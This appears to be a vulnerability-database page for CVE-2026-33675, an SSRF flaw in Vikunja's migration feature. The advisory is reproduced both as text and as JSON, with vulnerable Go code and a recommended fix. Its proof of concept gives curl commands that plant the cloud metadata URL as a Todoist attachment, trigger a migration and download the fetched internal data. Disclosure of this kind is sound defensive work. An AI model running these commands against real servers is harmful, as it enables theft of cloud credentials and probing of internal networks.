Vulnerability-Lookup

CVE-2026-33675 (GCVE-0-2026-33675)

Vulnerability from cvelistv5 – Published: 2026-03-24 15:33 – Updated: 2026-03-24 18:15

Title

Vikunja has SSRF via Todoist/Trello Migration File Attachment URLs that Allows Reading Internal Network Resources

Summary

Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the migration helper functions `DownloadFile` and `DownloadFileWithHeaders` in `pkg/modules/migration/helpers.go` make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment. Version 2.2.1 patches the issue.

Severity

6.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-24 18:07 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/go-vikunja/vikunja/security/ad…	x_refsource_CONFIRM
https://github.com/go-vikunja/vikunja/commit/9329…	x_refsource_MISC
https://vikunja.io/changelog/vikunja-v2.2.2-was-r…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
go-vikunja	vikunja	Affected: < 2.2.1	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-33675

Vulnerability from fkie_nvd - Published: 2026-03-24 16:16 - Updated: 2026-06-17 10:37

Severity

6.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L
5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/go-vikunja/vikunja/commit/93297742236e3d33af72c993e5da960db01d259e	Patch
security-advisories@github.com	https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g66v-54v9-52pr	Exploit, Vendor Advisory
security-advisories@github.com	https://vikunja.io/changelog/vikunja-v2.2.2-was-released	Release Notes
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g66v-54v9-52pr	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	vikunja	vikunja	*

JSON

To clipboard

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  "affected": [
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      "affectedData": [
        {
          "product": "vikunja",
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    },
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  "lastModified": "2026-06-17T10:37:54.450",
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          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-24T18:07:14.596795Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-24T16:16:34.787",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/go-vikunja/vikunja/commit/93297742236e3d33af72c993e5da960db01d259e"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g66v-54v9-52pr"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g66v-54v9-52pr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-G66V-54V9-52PR

Vulnerability from github – Published: 2026-03-25 21:14 – Updated: 2026-03-25 21:14

Summary

Vikunja has SSRF via Todoist/Trello Migration File Attachment URLs that Allows Reading Internal Network Resources

Details

Summary

The migration helper functions DownloadFile and DownloadFileWithHeaders in pkg/modules/migration/helpers.go make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment.

Details

The vulnerability exists because the migration HTTP client uses a plain http.Client{} with no URL validation, no private IP blocklist, no redirect restrictions, and no response size limit.

Vulnerable code in pkg/modules/migration/helpers.go:38-59:

func DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {
    req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)
    if err != nil {
        return nil, err
    }
    // ... headers added ...
    hc := http.Client{}
    resp, err := hc.Do(req)
    // ... no URL validation, no IP filtering ...
    buf = &bytes.Buffer{}
    _, err = buf.ReadFrom(resp.Body) // no size limit
    return
}

Call site in Todoist migration (pkg/modules/migration/todoist/todoist.go:433-435):

if len(n.FileAttachment.FileURL) > 0 {
    buf, err := migration.DownloadFile(n.FileAttachment.FileURL)

The FileURL is deserialized directly from the Todoist Sync API response (json:"file_url" tag at line 125) with no validation.

Call sites in Trello migration (pkg/modules/migration/trello/trello.go): - Line 263: migration.DownloadFile(board.Prefs.BackgroundImage) — board background - Line 345: migration.DownloadFileWithHeaders(attachment.URL, ...) — card attachments - Line 381: migration.DownloadFile(cover.URL) — card cover images

Notably, the webhooks module in the same codebase was recently patched (commit 8d9bc3e) to add SSRF protection using the daenney/ssrf library, but this protection was not applied to the migration module — making this an incomplete fix.

Attack flow: 1. Attacker creates a Todoist account 2. Using the Todoist Sync API, attacker creates a note with file_attachment.file_url set to an internal URL (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/) 3. Attacker authenticates to the target Vikunja instance and initiates a Todoist migration 4. Vikunja's server fetches the internal URL and stores the response body as a task attachment 5. Attacker downloads the attachment through the normal Vikunja API, reading the internal resource contents

PoC

Prerequisites: - Vikunja instance with Todoist migration enabled (admin has configured OAuth client ID/secret) - Authenticated Vikunja user account - Todoist account controlled by the attacker

Step 1: Craft malicious Todoist data

Using the Todoist Sync API, create a note with an internal URL as the file attachment:

curl -X POST "https://api.todoist.com/sync/v9/sync" \
  -H "Authorization: Bearer $TODOIST_TOKEN" \
  -d 'commands=[{
    "type": "note_add",
    "temp_id": "ssrf-test-1",
    "uuid": "550e8400-e29b-41d4-a716-446655440001",
    "args": {
      "item_id": "'$ITEM_ID'",
      "content": "test note",
      "file_attachment": {
        "file_name": "metadata.txt",
        "file_size": 1,
        "file_type": "text/plain",
        "file_url": "http://169.254.169.254/latest/meta-data/"
      }
    }
  }]'

Step 2: Trigger migration on Vikunja

# Authenticate to Vikunja
TOKEN=$(curl -s -X POST "https://vikunja.example.com/api/v1/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password"}' | jq -r .token)

# Initiate Todoist OAuth flow
curl -s "https://vikunja.example.com/api/v1/migration/todoist/auth" \
  -H "Authorization: Bearer $TOKEN"

# After OAuth callback, trigger the migration
curl -s -X POST "https://vikunja.example.com/api/v1/migration/todoist/migrate" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"code":"<oauth_code>"}'

Step 3: Download the attachment containing internal data

# List tasks to find the attachment ID
curl -s "https://vikunja.example.com/api/v1/projects" \
  -H "Authorization: Bearer $TOKEN"

# Download the attachment (contains response from internal URL)
curl -s "https://vikunja.example.com/api/v1/tasks/<task_id>/attachments/<attachment_id>" \
  -H "Authorization: Bearer $TOKEN" -o metadata.txt

cat metadata.txt
# Expected: cloud instance metadata, internal service responses, etc.

Impact

An authenticated attacker can:

Read cloud instance metadata: Access http://169.254.169.254/ to retrieve IAM credentials, instance identity, and configuration data on AWS/GCP/Azure deployments
Probe internal network services: Map internal infrastructure by making requests to RFC1918 addresses (10.x, 172.16.x, 192.168.x)
Access internal APIs: Reach internal services that trust requests from the Vikunja server's network position
Denial of service: Since buf.ReadFrom(resp.Body) has no size limit, pointing to a large or streaming resource causes unbounded memory allocation on the Vikunja server

The attack requires the target Vikunja instance to have Todoist or Trello migration enabled (requires admin configuration of OAuth credentials), but this is a standard deployment configuration.

Recommended Fix

Apply the same SSRF protection already used for webhooks (daenney/ssrf) to the migration HTTP clients. In pkg/modules/migration/helpers.go:

import (
    "github.com/daenney/ssrf"
    "code.vikunja.io/api/pkg/config"
)

func safeMigrationClient() *http.Client {
    s, _ := ssrf.New(ssrf.WithAnyPort())
    return &http.Client{
        Transport: &http.Transport{
            DialContext: (&net.Dialer{
                Control: s.Safe,
            }).DialContext,
        },
    }
}

func DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {
    req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)
    if err != nil {
        return nil, err
    }
    for key, h := range headers {
        for _, hh := range h {
            req.Header.Add(key, hh)
        }
    }

    hc := safeMigrationClient()
    resp, err := hc.Do(req)
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()

    // Limit response body to 100MB to prevent memory exhaustion
    buf = &bytes.Buffer{}
    _, err = buf.ReadFrom(io.LimitReader(resp.Body, 100*1024*1024))
    return
}

Apply the same pattern to DoGetWithHeaders and DoPostWithHeaders in the same file.

Severity

6.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:14:12Z",
    "nvd_published_at": "2026-03-24T16:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe migration helper functions `DownloadFile` and `DownloadFileWithHeaders` in `pkg/modules/migration/helpers.go` make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment.\n\n## Details\n\nThe vulnerability exists because the migration HTTP client uses a plain `http.Client{}` with no URL validation, no private IP blocklist, no redirect restrictions, and no response size limit.\n\n**Vulnerable code** in `pkg/modules/migration/helpers.go:38-59`:\n```go\nfunc DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {\n\treq, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// ... headers added ...\n\thc := http.Client{}\n\tresp, err := hc.Do(req)\n\t// ... no URL validation, no IP filtering ...\n\tbuf = \u0026bytes.Buffer{}\n\t_, err = buf.ReadFrom(resp.Body) // no size limit\n\treturn\n}\n```\n\n**Call site in Todoist migration** (`pkg/modules/migration/todoist/todoist.go:433-435`):\n```go\nif len(n.FileAttachment.FileURL) \u003e 0 {\n\tbuf, err := migration.DownloadFile(n.FileAttachment.FileURL)\n```\n\nThe `FileURL` is deserialized directly from the Todoist Sync API response (`json:\"file_url\"` tag at line 125) with no validation.\n\n**Call sites in Trello migration** (`pkg/modules/migration/trello/trello.go`):\n- Line 263: `migration.DownloadFile(board.Prefs.BackgroundImage)` \u2014 board background\n- Line 345: `migration.DownloadFileWithHeaders(attachment.URL, ...)` \u2014 card attachments\n- Line 381: `migration.DownloadFile(cover.URL)` \u2014 card cover images\n\nNotably, the webhooks module in the same codebase was recently patched (commit `8d9bc3e`) to add SSRF protection using the `daenney/ssrf` library, but this protection was **not applied** to the migration module \u2014 making this an incomplete fix.\n\n**Attack flow:**\n1. Attacker creates a Todoist account\n2. Using the Todoist Sync API, attacker creates a note with `file_attachment.file_url` set to an internal URL (e.g., `http://169.254.169.254/latest/meta-data/iam/security-credentials/`)\n3. Attacker authenticates to the target Vikunja instance and initiates a Todoist migration\n4. Vikunja\u0027s server fetches the internal URL and stores the response body as a task attachment\n5. Attacker downloads the attachment through the normal Vikunja API, reading the internal resource contents\n\n## PoC\n\n**Prerequisites:**\n- Vikunja instance with Todoist migration enabled (admin has configured OAuth client ID/secret)\n- Authenticated Vikunja user account\n- Todoist account controlled by the attacker\n\n**Step 1: Craft malicious Todoist data**\n\nUsing the Todoist Sync API, create a note with an internal URL as the file attachment:\n\n```bash\ncurl -X POST \"https://api.todoist.com/sync/v9/sync\" \\\n  -H \"Authorization: Bearer $TODOIST_TOKEN\" \\\n  -d \u0027commands=[{\n    \"type\": \"note_add\",\n    \"temp_id\": \"ssrf-test-1\",\n    \"uuid\": \"550e8400-e29b-41d4-a716-446655440001\",\n    \"args\": {\n      \"item_id\": \"\u0027$ITEM_ID\u0027\",\n      \"content\": \"test note\",\n      \"file_attachment\": {\n        \"file_name\": \"metadata.txt\",\n        \"file_size\": 1,\n        \"file_type\": \"text/plain\",\n        \"file_url\": \"http://169.254.169.254/latest/meta-data/\"\n      }\n    }\n  }]\u0027\n```\n\n**Step 2: Trigger migration on Vikunja**\n\n```bash\n# Authenticate to Vikunja\nTOKEN=$(curl -s -X POST \"https://vikunja.example.com/api/v1/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"password\"}\u0027 | jq -r .token)\n\n# Initiate Todoist OAuth flow\ncurl -s \"https://vikunja.example.com/api/v1/migration/todoist/auth\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# After OAuth callback, trigger the migration\ncurl -s -X POST \"https://vikunja.example.com/api/v1/migration/todoist/migrate\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"\u003coauth_code\u003e\"}\u0027\n```\n\n**Step 3: Download the attachment containing internal data**\n\n```bash\n# List tasks to find the attachment ID\ncurl -s \"https://vikunja.example.com/api/v1/projects\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# Download the attachment (contains response from internal URL)\ncurl -s \"https://vikunja.example.com/api/v1/tasks/\u003ctask_id\u003e/attachments/\u003cattachment_id\u003e\" \\\n  -H \"Authorization: Bearer $TOKEN\" -o metadata.txt\n\ncat metadata.txt\n# Expected: cloud instance metadata, internal service responses, etc.\n```\n\n## Impact\n\nAn authenticated attacker can:\n\n- **Read cloud instance metadata**: Access `http://169.254.169.254/` to retrieve IAM credentials, instance identity, and configuration data on AWS/GCP/Azure deployments\n- **Probe internal network services**: Map internal infrastructure by making requests to RFC1918 addresses (10.x, 172.16.x, 192.168.x)\n- **Access internal APIs**: Reach internal services that trust requests from the Vikunja server\u0027s network position\n- **Denial of service**: Since `buf.ReadFrom(resp.Body)` has no size limit, pointing to a large or streaming resource causes unbounded memory allocation on the Vikunja server\n\nThe attack requires the target Vikunja instance to have Todoist or Trello migration enabled (requires admin configuration of OAuth credentials), but this is a standard deployment configuration.\n\n## Recommended Fix\n\nApply the same SSRF protection already used for webhooks (`daenney/ssrf`) to the migration HTTP clients. In `pkg/modules/migration/helpers.go`:\n\n```go\nimport (\n    \"github.com/daenney/ssrf\"\n    \"code.vikunja.io/api/pkg/config\"\n)\n\nfunc safeMigrationClient() *http.Client {\n    s, _ := ssrf.New(ssrf.WithAnyPort())\n    return \u0026http.Client{\n        Transport: \u0026http.Transport{\n            DialContext: (\u0026net.Dialer{\n                Control: s.Safe,\n            }).DialContext,\n        },\n    }\n}\n\nfunc DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {\n    req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)\n    if err != nil {\n        return nil, err\n    }\n    for key, h := range headers {\n        for _, hh := range h {\n            req.Header.Add(key, hh)\n        }\n    }\n\n    hc := safeMigrationClient()\n    resp, err := hc.Do(req)\n    if err != nil {\n        return nil, err\n    }\n    defer resp.Body.Close()\n\n    // Limit response body to 100MB to prevent memory exhaustion\n    buf = \u0026bytes.Buffer{}\n    _, err = buf.ReadFrom(io.LimitReader(resp.Body, 100*1024*1024))\n    return\n}\n```\n\nApply the same pattern to `DoGetWithHeaders` and `DoPostWithHeaders` in the same file.",
  "id": "GHSA-g66v-54v9-52pr",
  "modified": "2026-03-25T21:14:12Z",
  "published": "2026-03-25T21:14:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g66v-54v9-52pr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/93297742236e3d33af72c993e5da960db01d259e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has SSRF via Todoist/Trello Migration File Attachment URLs that Allows Reading Internal Network Resources"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-33675 (GCVE-0-2026-33675)

FKIE_CVE-2026-33675

GHSA-G66V-54V9-52PR

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

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